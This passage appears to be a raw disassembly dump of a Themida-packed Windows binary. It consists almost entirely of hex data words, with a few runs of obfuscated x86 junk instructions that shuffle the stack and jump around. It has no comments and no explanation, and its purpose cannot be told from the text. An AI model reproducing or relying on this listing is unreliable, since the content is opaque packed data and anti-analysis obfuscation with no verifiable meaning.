0BDCB69D2h, 0AAFA5372h, 4024AA2Dh, 0F997F914h dd 0E097021Eh, 331B89E9h, 6D084054h, 4827B31Ch, 4F61FC34h dd 19B70770h, 788E223Eh, 52D819Dh, 0D8623574h, 1981298h dd 0CDA50000h, 280117ABh, 825E7408h, 0DFBED468h, 462137CBh dd 37BD962Ah, 9327431Eh, 0F185A37Dh, 53E7FDDBh, 0B448603Dh dd 2FD45101h, 0AB13A831h, 7B56D766h, 0D8B5CB5Fh, 565B2CC0h dd 5B296179h, 0D2205F7Eh, 4445C9D7h, 7D185066h, 0DD7BCB24h dd 16B1E9FFh, 6B3106B6h, 55679491h, 337B1433h, 58CC66E3h dd 319313A6h, 0A65FCFB4h, 10228B13h, 6DB89531h, 0C61F7890h dd 0ADFED876h, 245CB5D3h, 0FB997789h, 18B6061Eh, 0F1132539h dd 0AEE6FEDBh, 1C63AA1Ch, 2D8DA984h, 7183C729h, 1D6D414Eh dd 4CB83BA0h, 0B2E65814h, 0BE0B7770h, 9F08E7F9h, 3223F14Bh dd 3AC00062h, 0DEh, 0D165875Fh, 2EC2E2BBh, 8E223C18h, 0F1859978h dd 50E400DBh, 0FDD87177h, 5D374DE1h, 0B795AB3Fh, 1AF70DA1h dd 0BBB6E02h, 0A832E98Eh, 91206513h, 1C6C424Dh, 7587A37Eh dd 56D33597h, 1442A0A1h, 9AB6912Dh, 0BEDAB541h, 0E0D9EB86h dd 13A8D5FFh, 24F22A93h, 323FC47h, 87D730CBh, 847F6115h dd 78D87AD0h, 98069E1Dh, 7092A4C5h, 2D657D5Ah, 0DE0A7680h dd 7AC3A173h, 0B24D859Dh, 77532159h, 0C144255Dh, 2EABCD85h dd 122A0776h, 2806A47Eh, 0DF3FDA12h, 0A4B241FBh, 0DCF608A8h dd 1DAFE7FFh, 2686A67Fh, 8A3A0DF5h, 0D2ECFEB9h, 0F0A7DFF3h dd 15F26D19h, 765369FDh, 1FA0265Eh, 26000000h, 0CC4352C4h dd 237963E0h, 23B1C3B8h, 6C13907Ch, 0EA7C23B1h, 0B6943081h dd 603547A0h, 7E563E8Dh, 7956245Ch, 7D5B2961h, 87612F67h dd 88633169h db 6Ch byte_5EB785 db 34h, 66h, 8Bh ; DATA XREF: Themida_:00583288o ; Themida_:005847B4o dd 8A69376Fh, 94703E76h, 9B74427Ah, 68EE437Bh, 15F3h, 53242489h dd 4BBh, 245C0100h db 4, 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], ebp mov ecx, 36742124h add ecx, 4AF769F9h and ecx, 19A66C0Eh inc ecx dec ecx push eax mov eax, 265C4B52h or ecx, eax pop eax sub ecx, 1F93D340h push esp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ecx sub dword ptr [esp], 171E3553h pop dword ptr [ebp+8] add dword ptr [ebp+8], 171E3553h mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_58A287 ; --------------------------------------------------------------------------- db 91h dd 82AA2345h, 0EA930CB8h, 50C50307h, 2C2D85C6h, 684707E4h dd 0CF381725h, 19DB5FFh, 858D07E4h, 7E43BDCh, 0D88BD0FFh dd 3359858Dh, 685007E4h, 104h, 85C6D3FFh, 7E42C2Dh, 0F8BF6853h dd 0B5FF8307h, 7E4019Dh, 3BDC858Dh, 0D0FF07E4h, 75E48589h dd 0BD8307EAh, 7E4015Dh, 0B840F00h, 8B000000h, 0E415519Dh dd 5E907h, 0BB0000h, 68000000h, 100h, 75E8B58Dh, 535607EAh dd 14C195FFh, 0B58D07E4h, 7EA75E8h, 1E9F003h, 4E000000h dd 0F5C3E80h, 984h, 2F3E8000h, 0FFED850Fh, 6C6FFFFh, 0E8858D00h dd 5007EA75h, 75E495FFh, 0FF5807EAh, 0B8C17FE0h, 0A1B6E07Fh dd 8228F116h, 35731F57h, 0B927115Bh, 0A779B577h, 0D7675F3Eh dd 461BED58h, 0ED32D20Fh, 0A2D3BC0Ah, 0E359B41Fh, 78B86D57h dd 2EB8D857h, 737BBA6Dh, 37B59244h, 0C9E34C14h, 1C3EA34Bh dd 1413516Bh, 4C56DA5Ch, 9832B53Bh, 4CF2CA37h, 0F7A0F70Ch dd 0D8B10F45h, 593B3D37h, 0BE85Fh, 17560000h, 72A28EE1h dd 85B2F8B0h, 2810FEFh, 0B4000000h, 81665F80h, 8179D7F0h dd 63E4C7h, 0F3B70F00h, 0BBh, 0C0E98000h, 811F148Bh, 0AE6D05EAh dd 148E0F71h, 0E9000000h, 0Fh, 9D4E5BAFh, 87FA5F8Ch, 41550EC8h dd 815263DEh, 89DFF7C2h, 81CE8B32h, 990EB0EAh, 0B9A8B87Dh dd 0E9526DE4h, 12h, 153E4D7Eh, 764FC208h, 444F80BAh, 0B50B4DCDh dd 48FBD91h, 0D881661Fh, 6E904C7h, 0A4000000h, 0FBBF098Ah dd 3EB83F8h, 0BE951h, 94DB0000h, 6393804Eh, 0F057B7B1h dd 0E84B5E7Eh, 13h, 0D83B0DECh, 93FC2648h, 0BB9D773Fh dd 0EC5763F9h, 5043DDB4h, 5E5EC68Bh, 9CE8FB81h, 850FFFFFh dd 0FFFFFF60h, 0E29DE81h, 1AE96BFBh, 0F6000000h, 1AF7B3h dd 5 dup(0) dd 58EE900h, 39110000h, 946D8317h, 0EECAE074h, 4B2A40D4h dd 0B28DA337h, 0C3290296h, 0FF93AF8Ah, 5DF10FE9h, 0BF536947h dd 20B4CCA9h, 0BB40BD6Dh, 1713A835h, 309243D2h, 659DB592h dd 0A0985FCAh, 0CD361442h, 0ACC4A1BBh, 1990EA5Ch, 0B626FC5Dh dd 0DA4CDEA4h, 0D1F1FD44h, 87A1B34Bh, 22FC90ACh, 858E2CB0h dd 0D1FD815h, 0C6FE16F3h, 9A21C234h, 2A83EE9Eh, 0D621FE18h dd 0B5D5AEF9h, 3089245Ch, 31512AF8h, 4C6843E1h, 0CCA6743Ah dd 0CDA876AEh, 981579B1h, 582A4ECh, 3BB81A41h, 1442A744h dd 0A800A903h, 8FE09090h, 1DFA1426h, 7D5B7105h, 87F9D367h dd 43200C45h, 0F858F32Bh, 0BD9B0DDEh, 223C4EA7h, 64F62E44h dd 57457AF2h, 0B9CBBE1Dh, 6FA7C59Fh, 0BAA5E1B8h, 1C32C6DCh dd 42EF273Fh, 14424FB8h, 0C0FCA865h, 0E05B223Fh, 6598h dd 411AB800h, 52B2C121h, 0A5B24B2Dh, 0F492BE93h, 0D5EF0115h dd 0F290E0F8h, 22E8FA18h, 42A08875h, 1A320F14h, 193614E2h dd 0BC0490D9h, 336BC447h, 6792DF4h, 0B6B81129h, 0BEC246B8h dd 47E2B947h, 0B0EC9835h, 0E05BE24Fh, 188h, 7D56B100h dd 7E57255Dh, 7958265Eh, 4CC92D65h, 2C4C2518h, 8DA58298h dd 7B5628F9h, 8059275Fh, 0A017EC69h, 5AC31442h, 0F6BE09FAh dd 78D18FE5h, 0D390240h, 0CB1B3712h, 51DFA659h, 0DAFF9064h dd 7795D1ECh, 0AACCDE37h, 679FB794h, 579CBD99h, 0A6BE8858h dd 7CE7EEC7h, 70E2381Ch, 92EB0BE4h, 0F7AFC05Ah, 5BF568C7h dd 0F1D06EE0h, 0F80AA5DDh, 0A359h, 7B568200h, 7D59275Fh dd 7F5D2B63h, 63E5C36h, 48DA126Bh, 42A034CBh, 0AD39A214h dd 0B07EB6D2h, 9A1DBCD2h, 784A6EAh, 0E905E05Fh, 48643F55h dd 48634210h, 968069F7h, 0ED3D9642h, 4759734Fh, 0BDD7B381h dd 0C0DCB785h, 63E5834h, 2A6125A2h, 0DBE33C96h, 0F048A1D3h dd 38F7A7DFh, 7EE05B3Bh, 7ED89F1Ch, 0D761442h, 5A5CFBh dd 1A7C0000h, 427EE69Dh, 455B3914h, 0B821720Dh, 7B56D1A6h dd 0F795275Fh, 3ACC0418h, 42A0C6BDh, 0D22B9414h, 0ABC8A6C0h dd 5B4AEBFBh, 5E96EFADh, 0D34AFA7Dh, 7748DCF8h, 0D5D7D56h dd 885906Fh, 1442A073h, 0B1D76DFh, 0A0E69845h, 0FEBB1442h dd 11E91646h, 1EEE05Ch, 17000000h, 28607A56h, 11DF896h dd 0C5BA37C9h, 911442A0h, 6843CF28h, 6779144Ch, 0E461704Dh dd 1442A11Fh, 0C1F952BBh, 0C80014F3h, 0CC041EFAh, 743C68EBh dd 17C28FFh, 58770B25h, 0AA277737h, 13A69064h, 0C391C932h dd 75CFC7E6h, 0F712E966h, 57C013A6h, 819D93F7h, 0A17E9428h dd 0BC9B3989h, 0C3D570A8h, 65AD50FDh, 54D713A6h, 38502D10h dd 99B18EA4h, 0FD5DCF61h, 4C7EB0BFh, 5D7552DEh, 3C54314Bh dd 49FDC604h, 91E1F9D6h, 0F2CDB22Fh, 208913A6h, 0EA15EC0Eh dd 0EBD877BFh, 13Dh, 39424D14h, 730E465Ah, 934DCA1Ah, 4113A6BEh dd 0F5D2A0D8h, 563349DDh, 5B38063Eh, 4CD0B43h, 0F100DD40h dd 0A6BE8F74h, 89E24B13h, 0F3E11EF5h, 6DF6D877h, 16000000h dd 71839B78h, 0BC20929Ch, 40A6F512h, 3CC34090h, 9A144275h dd 95FC1F31h, 574CC919h, 36BBD8Ah, 156E8E67h, 754B30DDh dd 0EDCC9442h, 0F6D3A1D9h, 0C542A6DEh, 0A7C39E81h, 7E7BD46Fh dd 0A878FB7h, 80F254A4h, 1BA682ADh, 0FEDB6717h, 0C4DBD4E6h dd 92EBBDBDh, 623BD929h, 5D6F0A42h, 0A36D3Bh, 81F30000h dd 9F70DFCh, 10E5F747h, 1C6C424Dh, 0A6B9F59Fh, 21FE9C13h dd 0A8E0FAD6h, 0C3A2B40Dh, 0F290225Ah, 0D0EAFC16h, 6D47DBF3h dd 1E872FFBh, 0EDFFE0C3h, 8ED7F6D3h, 0A4E835C3h, 0D19DE5Bh dd 4CB513A6h, 0B5629AF3h, 13A60D35h, 8F8EB639h, 2C069AB2h dd 889AB08Eh, 34842A65h, 4C9B58B7h, 0AA892714h, 0B1C35E96h dd 0A71969D2h, 0A2BE9477h, 0F70DEB17h, 0B9CB24BFh, 0F6EF61F3h dd 0A93FCD8Ch, 0D0ADC7D9h, 338CAC85h, 4C6C45E3h, 0A1677914h dd 0E35313EAh, 35B202ACh, 1C670AD6h, 0CDA73BA4h, 283A522Fh dd 92309253h, 0CB669EB4h, 42A09B60h, 42CE3714h, 77124A68h dd 614D4265h, 35779411h, 9A0313A8h, 9FB79462h, 18F50Bh dd 1E5C1BC8h, 11EF0EB5h, 1AF5C3FBh, 0E562C6FEh, 52CFF1A1h dd 364E2B12h, 97AF8CA2h, 0DB5BCD5Fh, 0AD1A8ADEh, 0EA52CE2Eh dd 6A049CE7h, 545F3E58h, 453A20D7h, 0EC45AE31h, 0ED0DE6B4h dd 0FC09E7B5h, 453AF87Fh, 94ED5631h, 0CB7BF85Ch, 0B3B1287h dd 8B1F3714h, 0B6799875h, 4620A1E3h, 0E039532Fh, 1FBD4F87h dd 44162844h, 3, 563E8DD3h, 56245C7Eh, 5B296179h, 612F677Dh dd 63316987h, 66346C88h, 69376F8Bh, 703E768Ah, 74427A94h dd 0EE437B9Bh, 81E38953h, 4C3h, 4EB8300h, 8B241C87h, 89512424h dd 4C181E1h, 81000000h, 4E9h, 240C8700h, 240C895Ch, 81E18951h dd 4C1h, 4E98300h, 5C240C87h db 89h byte_5EBF85 db 14h, 24h, 68h ; DATA XREF: Themida_:00583A30o dd 7EA95BBh, 83240C8Bh, 8B5404C4h, 0C4832414h, 4EC8104h dd 89000000h, 428F240Ch, 24148B08h, 81E68956h, 4C6h, 4C68300h dd 5C243487h, 53240C8Bh, 0C381E389h, 4, 4C381h, 1C870000h dd 0B4E95C24h, 0A2FFF9E2h, 0EA9AC1B8h, 0FFC50307h, 6EFF29E0h dd 615B4F25h, 9291570Eh, 40E63867h, 8E47A636h, 3E791208h dd 0F87E5139h, 3BB73B61h, 8E060C5Dh, 0C2EF372h, 0F662504Ch dd 1C95BC21h, 155FB20Eh, 186E6136h, 1A6DD123h, 54565A04h dd 89010624h, 0EF69E262h, 0A4FE6129h, 561DA170h, 0DAB3CF35h dd 76CB8D28h, 3DD1D10h, 4B88F84Ch, 0C1B89974h, 7F315564h dd 0F62A321Ch, 0B9BD3202h, 2596197Ah, 9AD93D14h, 868D8D2Eh dd 0F07EA9Ch, 8D89C1B7h, 7E41B71h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 3CC35646h, 9F6178B7h, 85C771DEh dd 7E42DA1h, 599Ch, 0FDEBF0Fh, 85C7FEBFh, 7E422B9h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0E5C35040h dd 51A59968h, 0A65BD8Bh, 0B5FF07E4h, 7E40635h, 15958951h dd 5807E409h, 306195FFh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0F479A5C3h, 0E7008B23h dd 0D3BF0F4Bh, 2631858Bh, 8B6007E4h, 6A61D8h, 0E4195FFh dd 0C08B07E4h, 2EC628EBh, 936CEED6h, 0B2A13AAFh, 2538AC54h dd 119882D8h, 773E1F58h, 7399AED2h, 0C808EBF9h, 0BEF60D09h dd 4AB7C5Fh, 8D8DE406h, 7EA9D59h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0C2C35545h, 0C22737A8h, 8BA7A984h dd 0E42D59BDh, 718D8907h, 0E907E41Bh, 0Eh, 0D4D0127Fh dd 0C3283044h, 95EF2559h, 85C76E50h, 7E42DA1h, 736Ch, 0C761F560h dd 0E422B985h, 7, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 48B9D9BDh, 69BD8B71h dd 0FF07E423h, 0E41E15B5h, 5B50907h, 0FF07E40Ah, 0E4306195h dd 0BD88B07h, 0E41ECD9Dh, 0FF006A07h, 0E40E4195h, 0EBC08B07h dd 8B22A679h, 66013441h, 0DF7C53B2h, 24F2F978h, 91CBEB32h dd 5081D47Bh, 7909EC3Ah, 0CD74D480h, 8B5DEFFDh, 0A418B1EAh dd 0A28F113h, 54304086h, 4E82FE2Ah, 79A5F166h, 8B23F4h dd 7E6C4BE7h, 4457EB9Eh, 8BAD1615h, 0ED5E811Ah, 0FF261D9Bh dd 6F264DD6h, 27028F1Fh, 6EEEC8E7h, 0CCB5EC86h, 27CF5B1Eh dd 0EC42F5EAh, 74D173F1h, 66F78B08h, 0E9375A58h, 0F01AB8B9h dd 5E8257Bh, 89000000h, 837EEB97h, 81B589h, 815907E4h dd 7431C1h, 0A1850100h, 0BF07E413h, 0 dd 2639BD89h, 1C8B07E4h, 0C381FC39h, 472A04E4h, 20B18589h dd 0EB8107E4h, 7F158CE9h, 31DDB58Bh, 0C38107E4h, 5B7AACF8h dd 6864BA66h, 89391C89h, 0E401918Dh, 0EDB58B07h, 8307E41Bh dd 958B04EFh, 7E41FA5h, 8C38FF81h, 850FFFFFh, 0FFFFFFB6h dd 0FE8h, 282D7F00h, 1B2304B6h, 0DA9009F5h, 0EBD2A22Eh dd 1ADD8D8Bh, 0F5807E4h, 686h, 0E58D8B00h, 8107E41Ah, 68CAC0h dd 5860F00h, 66000000h, 11E8E981h, 0B70FFF33h, 38148BDEh dd 2EE19529h, 0F28107E4h, 28D9438Bh, 81D0D380h, 1BA852EAh dd 0F18B6607h, 43ACC281h, 0DB802E67h, 8D8B5263h, 7E42BD9h dd 8938048Fh, 0E41EC195h, 4EF8307h, 1E61BD01h, 0FF8107E4h dd 0FFFF97ECh, 1F850Fh, 9D0B0000h, 7E41815h, 2EE9h, 0AC28D300h dd 0AFAED0ACh, 0B15F292Fh, 3F03347Bh, 0A45910E7h, 7870FC2h dd 0F000000h, 184h, 86E9F500h, 2EFFFFFFh, 0DB8E98F9h, 0E9E844CCh dd 48h, 6A05C6D0h, 0E61D8C93h, 2E81E89Dh, 6C64746Eh, 6C642E6Ch dd 1467006Ch, 8003B2BDh, 0FEB9h, 0Ah dup(0) dd 6CEE9h, 0A0DD6800h, 98E907EAh, 68FFF9DEh, 7EAA1AFh dd 0F9DE8EE9h, 0A24268FFh, 84E907EAh, 68FFF9DEh, 7EAA2F0h dd 0F9DE7AE9h, 0A3F268FFh, 70E907EAh, 68FFF9DEh, 7EAA4A6h dd 0F9DE66E9h, 0F214ECFFh, 4F6F485Eh, 0AFC9A5BBh, 1226051Bh dd 718D687Eh, 65FE04DDh, 0C4DA6E8Ah, 2238CCEAh, 849A2E44h dd 48FB8FA7h, 3F641B98h, 0ADF213A8h, 4136B315h, 0D13A83Fh dd 9EBD92A4h, 2Dh, 3FFBB224h, 8171D158h, 79569A6Fh, 7E5B2961h dd 22DDD266h, 751442A0h, 82927A97h, 0BAACBC7Fh, 32AF1161h dd 1442824Dh, 6C8EA009h, 39424D9Bh, 28CF4C5Dh, 0A61442A0h dd 11ACE43Dh, 568EAA85h, 951262BBh, 13A6AD13h, 0CCECC561h dd 0ED8E3B73h, 5A13A6AEh, 9E611D49h, 37D87803h, 253h, 1886E557h dd 28229649h, 0DA454116h, 394F2DCBh, 31546601h, 6200505Eh dd 7A586A88h, 0D754B618h, 1442A020h, 25DA45AEh, 0B11442A0h dd 6F3D3648h, 3D13A68Ch, 46F6B3CDh, 0AFFF9B73h, 0A60A4D32h dd 47A00913h, 95DC4E3Eh, 0B1754616h, 0F4F6EF01h, 76D788F3h dd 0C8459519h, 0DFB531CEh, 3DDB2B94h, 1D3B1560h, 0B9F14AE5h dd 0B4460C1Eh, 931F3B16h, 0CB669EB6h, 0BEF996B9h, 0B50ABA41h dd 56AF18C7h, 0BA518906h, 9303C052h, 906FB27Ch, 49A9447Ch dd 0FF5891C6h, 1C3411AFh, 7D957288h, 21105929h, 5EE42496h dd 48Dh, 0A5395B33h, 296B68Fh, 62F610ECh, 0C5596D4Ch, 24B8D4AFh dd 0D1ACA54Bh, 310B21B5h, 8B697F13h, 0EECBE175h, 0DF8F42D6h dd 0A8009D62h, 65F43913h, 0FD19F492h, 0DCF4D1EBh, 0ECC2CDA4h dd 0A85B2A9Ch, 2484A27Ch, 5E39B024h, 0F9D7E942h, 0A6CB927Ch dd 0E9C46013h, 0A1FA95CDh, 0BA95330Dh, 0B9CB669Eh, 0C0CF058Eh dd 8BC3E1BBh, 0E54797F0h, 0C5516B47h, 0C1BACCECh, 14420713h dd 444F58C1h, 8317AE20h, 994641B3h, 6AA2B695h, 106C6FCFh dd 7A15384Ah, 6D67E434h, 33BBC0DAh, 25A156D3h, 0C42DA408h dd 0A07D1B6Bh, 0A3B55088h, 258906DDh, 950058D5h, 69D2A3EFh dd 7F9E7B19h, 8D07FC10h, 0AE429BF3h, 9470BB98h, 0BFCD217Ah dd 0D2B9CEAFh, 3BB0C92h, 2D050000h, 8861770Bh, 0E2BED468h dd 3F1E34C8h, 0A681972Bh, 0D71DF68Ah, 0F387A37Eh, 51E503DDh dd 0B3475D3Bh, 14A8C09Dh, 4F34B161h, 0B13A801h, 795637C6h dd 3D522961h, 0A6A42171h, 0F413A6A2h, 5CD93B8Bh, 13A6A3A7h dd 0A2BA9733h, 0F6153749h, 48C51599h, 144C3CAEh, 0D68AC434h dd 0FAE8E40Bh, 72EF51A1h, 1B8C2F8Dh, 0B5D3AD49h, 7789E27Dh dd 61EFB99h, 677F5C72h, 7737582Fh, 96AA8927h, 6329A684h dd 311C6809h, 2F2274C8h, 43835A4Eh, 328BDh, 9EC09800h dd 0FB1BF40Ah, 5B755167h, 0BED2B1C7h, 1D39142Ah, 114AB089h dd 70861A36h, 0CEE47896h, 3046DAF0h, 0F4A73B53h, 230C744h dd 599E13A8h, 617956CAh, 713D5229h, 8E1AA421h, 0CF3813A6h dd 1B36D3Bh, 45FC0000h, 0AA048BDDh, 1996F85Ah, 1442A062h dd 7C7587F0h, 13A68CAEh, 0EA02DF7Dh, 260517B2h, 96A9B4BDh dd 78E69A7Bh, 0CA479717h, 0EE87A570h, 663D75DEh, 0B8358529h dd 16A05560h, 0AF54D133h, 1C18AE56h, 0F199E568h, 36D22369h dd 6F0A4258h, 0BC250416h, 0A6F1CE6Ch, 0C559B2C8h, 66BAD2AFh dd 6514673Ah, 7AB93F7Fh, 46000002h, 0A2B84C6Eh, 0FF15A9C9h dd 5F750923h, 0C2D86C80h, 5E37CBE7h, 0C8E4BF98h, 26441E34h dd 889E7C92h, 0E901DEF4h, 75F2A255h, 13A8028Eh, 5678074Ch dd 52296179h, 0BF21713Dh, 42A0BD42h, 0A47D1914h, 3B192B84h dd 0A6BB2CBEh, 0A539A213h, 0A608117Eh, 0A6BB5229h, 1C900013h dd 0E5335E0h, 971464BDh, 13A60BE0h, 0D0F3056Eh, 3D9FEFBFh dd 72AAC29Fh, 1ECCC5D7h, 0CD144227h, 7709EE6Bh, 5CC51B8Ah dd 0F9026B4Ah, 552AA709h, 11B8A77h, 158D8698h, 3956B9Fh dd 60D2228Ch, 71A227E9h, 8AA882E4h, 0DF411F31h, 3E196441h dd 0F64FEA22h, 56D323BEh, 8AE806A1h, 0B9B2C42Dh, 8D0C2787h dd 0A21464CDh, 5EFF7AC2h, 844A5C41h, 7CCCE2ADh, 6449570Ah dd 0C1D3B20Bh, 0DF3266E3h, 77E0B52Bh, 94AC8927h, 47C42600h dd 0BA3420B0h, 23F7AE1Eh, 94F3FC4Ch, 320F293Bh, 36E4C61Ah dd 0A9E9C38Ah, 17823h, 4E704800h, 0ABCBA4BAh, 0B250117h dd 6E826177h, 0CDE9C4DAh, 0C19A6039h, 2036CAE6h, 7E942846h dd 0E0F68AA0h, 0A457EB03h, 38077F4h, 94E13A8h, 6179567Ah dd 1CF99729h, 1F31CC04h, 0CB1B93FCh, 0A6A2D04Eh, 0A1359E13h dd 6C424DD0h, 3FFF9F1Ch, 2C9513A8h, 49613EDCh, 779DBB5h dd 5040D739h, 9E65D064h, 3C13A8A1h, 0CAA7C1D3h, 0ECA37AB2h dd 1BF572C2h, 0D914423Eh, 0EC45633Dh, 31952A9Ch, 387B74E2h dd 0CDAA4826h, 2E0B21B5h, 8807DE16h, 7B59D626h, 91C727Ah dd 6541946Dh, 28BAF24Bh, 0FA45D4ABh, 0C0198203h, 0FFA11367h dd 405A47h, 0C47Ah, 224FC00h, 5F7F586Eh, 0BFD9B5CBh, 2236152Bh dd 819D788Eh, 75EE14EDh, 0D4EA7E9Ah, 3248DCFAh, 94AA3E54h dd 580B9FB7h, 4542BA8h, 0BD0213A8h, 65424D2Eh, 5C0EB74Bh dd 52664514h, 0D350A0F9h, 13A8CD25h, 44124AB3h, 61FF4F67h dd 99346C84h, 724F6587h, 3111E663h, 21BD13A9h, 77D02947h dd 5178923Fh, 0A8257E46h, 8CA481FCh, 0AAC09E3Ch, 0A3C5D772h dd 364E2BC9h, 24BC5CFEh, 26CC4C6Dh, 0C4A1BBCDh, 44E274ACh dd 203A4C6Ah, 3EF52D41h, 0DE7C3F67h, 0BDDBB502h, 855E2C64h dd 0E0FA0C65h, 4157EB03h, 233D1964h, 160C92CAh, 92000000h dd 17EBDE20h, 91B34EDh, 15F49234h, 0A2DAF0CEh, 0B99CAE07h dd 5C7E566Ah, 61795624h, 677D5B29h, 6987612Fh, 6C886331h dd 6F8B6634h, 768A6937h, 7A94703Eh, 7B9B7442h, 8950EE43h dd 61BD55E0h, 810B7732h, 7C6193F5h, 4EDC138h, 0F704EDC1h dd 0A9F581DDh, 1FFCCF4h, 0E8835DE8h, 24048704h, 5FF5685Ch dd 1C890000h, 0E1895124h, 4C181h, 0E9810000h, 4, 5C240C87h dd 52240C89h, 0EA9F96BAh, 8BD38907h, 0C4832414h, 0C8B5404h dd 4C48324h, 8BA52h, 0CA010000h, 148B1A89h, 4C48124h, 0FF000000h dd 81592434h, 4C4h, 241C8B00h, 81E38953h, 4C3h, 4C38300h dd 5C241C87h, 0F9D7DEE9h, 0E534C5FFh, 333E4396h, 0B8A8573Fh dd 7EAA58Fh, 0E0FFC503h, 5A5ED3E1h, 5840AE92h, 6D202E81h dd 3A637A66h, 0AE8h, 92F2C700h, 1A6A7374h, 0B728C6CAh dd 0DE8B5946h, 6E71C181h, 81660000h, 0BEB381CBh, 3C882746h dd 0BD0EE81h, 860F3C88h, 6, 0C161F381h, 18B2540h, 0C081DF8Bh dd 645747F0h, 0A830Fh, 8F0F0000h, 4, 19E1BB66h, 222BE881h dd 81FC794Ch, 1C805AC0h, 0FE8B6673h, 0F98A0189h, 3D35E981h dd 0B9B66975h, 3D31C181h, 0D78A6975h, 0F01EE83h, 1085h dd 4CCB8000h, 1DE9h, 0B24F5E00h, 55CCFA82h, 6BBB6617h dd 0FFA0E973h, 0C2F7FFFFh, 0E242DBB4h, 0B3A438C5h, 0AE949F3h dd 6B000000h, 3B4CB7h, 0 dd 4A4E900h, 26680000h, 0E907EAA8h, 0FFF9D6FBh, 0EAA89468h dd 0D6F1E907h, 0BF68FFF9h, 0E907EAA9h, 0FFF9D6E7h, 0DD71936Bh dd 3ACEEEC7h, 9A2E4824h, 0FD91A584h, 5CF00CE7h, 9E47D83h dd 694359EDh, 0C3A1B74Bh, 260319ADh, 17C77A0Eh, 0A807E59Ah dd 9D2C7113h, 115F492h, 21C2EC9h, 5D30B27h, 5D7C1028h dd 0AF2C7C32h, 13A68B31h, 4CDE167Fh, 82BAD0AEh, 86BED8B4h dd 878092EBh, 13A68CF4h, 85630153h, 4C9C376Fh, 0A68C28CFh dd 2B3DA613h, 59A6D68Eh, 7ED877E5h, 2D8h, 0B33092A7h, 1442A0CCh dd 0E40F218Ah, 3F6F20A6h, 8CA472EFh, 97213A6h, 0EA73F500h dd 0E042EEC3h, 249D4F6Eh, 58C3537Bh, 110BE6A3h, 91B4C62Fh dd 0FE60B0FEh, 0C6BD3A9Ch, 94110BE6h, 0E73BC02Bh, 3797110Bh dd 0BE7C5BAh, 0CF289111h, 0E9A6C4BDh, 0CB3416EFh, 53A7197Bh dd 18309A13h, 7502F964h, 67D0196Fh, 0D7B88F55h, 9742FED0h dd 4B9B7D6Dh, 6F6B29CEh, 0E33CA519h, 50B91693h, 5CC51E8Bh dd 79916E0Ch, 0EEB8967h, 6F4C62F6h, 0E51C0357h, 5B9B5CEEh dd 2C5D5h, 82A47C00h, 0DFFFD8EEh, 3F59354Bh, 0A2B695ABh dd 11DF80Eh, 0F56E946Dh, 546AFE1Ah, 0B2C85C7Ah, 142ABED4h dd 0D88B1F37h, 8D4AB28h, 3D8213A8h, 1AF492AEh, 0C8C7EAFCh dd 963496E6h, 9C6AA2B8h, 0D46FA7BFh, 6370697Bh, 2F13A806h dd 0FDD876C6h, 5C374DE1h, 7452F040h, 0D9864C5Eh, 0EC57F8D9h dd 277B9370h, 6A164502h, 570389C9h, 0EA000002h, 465CF012h dd 0A3B94D6Dh, 319ADC7h, 667C1024h, 2DB6F8Bh, 6C8863FCh dd 0CAE8C2D8h, 2C422036h, 8DA58298h, 199646F9h, 13A80862h dd 4D1CABF0h, 0AA1C6C42h, 39472AFAh, 613BC702h, 5E700B43h dd 0CF940380h, 59C213A8h, 0D08B7421h, 2F4013A9h, 0ADB84777h dd 751DD870h, 46000001h, 430C2092h, 0B2AE2845h, 91A986A0h dd 96AE8B59h, 0AB8A2802h, 2D628597h, 31CF3181h, 69043C54h dd 106C5E57h, 0B92213A6h, 172BD481h, 8FA013A6h, 6658A7D7h dd 3A7DD877h, 0A6000000h, 5A39424Dh, 3B9DED46h, 0A0A75CD9h dd 0B7341442h, 1442A0C0h, 6BD4258Eh, 0A9AA6059h, 0CB6913A6h dd 0E6C5D7EDh, 0E798457Dh, 6413A6A9h, 946B1353h, 41D87808h dd 0ABh, 6179566Ah, 64805B29h, 69815E2Ch, 6E866331h, 0A4C4E5DAh dd 7E5B1442h, 0E7405433h, 535B3453h, 6C8C6503h, 0A9879934h dd 0A4420E2Ch, 0AAEC5C13h, 5A724F2Dh, 29B635FAh, 4EA7C19Dh dd 698560FEh, 1C99FBD5h, 13A48E67h, 5E788AF3h, 20136783h dd 0BF6A1ABEh, 12CF97Fh, 3D150000h, 9871871Bh, 0F2CEE478h dd 4F2E44D8h, 0B691A73Bh, 0C72D069Ah, 397B38Eh, 61F513EDh dd 0C3576D4Bh, 24B8D0ADh, 0BF44C171h, 1B13A809h, 7B5647D6h dd 0A014EB68h, 0A9871442h, 80D94293h, 9AB89230h, 0A036CD4Ah dd 3BA41442h, 14F10729h, 569768FCh, 73116179h, 0AA457D97h dd 2704D298h, 335C7B0Fh, 0B38D2B7Bh, 0A05A219Eh, 8FF81442h dd 5530FE36h, 0F0CEE039h, 0A6EF6F73h, 1EBC2E13h, 0CA958F08h dd 59C2A1B3h, 74906B09h, 2E10EBE0h, 0A68313A6h, 57347D5Bh dd 136C073Fh, 351026BAh, 875BE119h, 0EA000000h, 0F875424Dh dd 1442A003h, 0BD0D66CFh, 0A8065740h, 5A92FB13h, 4F2AC8h dd 76AE0727h, 0D2AFC9DBh, 5991AB87h, 5B93B18Bh, 7A0E67C0h dd 613C8764h, 0E6720D45h, 4898F109h, 3B8C96D6h, 6D482C05h dd 257E1951h, 0B0A04D13h, 112F0EF5h, 0BDDBB553h, 23560EABh dd 815DA885h, 3BD60E67h, 1A320F29h, 7B937086h, 82967543h dd 88BC934Ah, 8E6DB895h, 4EA7427Ah, 0AFC7A4BAh, 8F177h dd 0D9770000h, 0FED3E5FBh, 7E563E8Dh, 7956245Ch, 7D5B2961h dd 87612F67h, 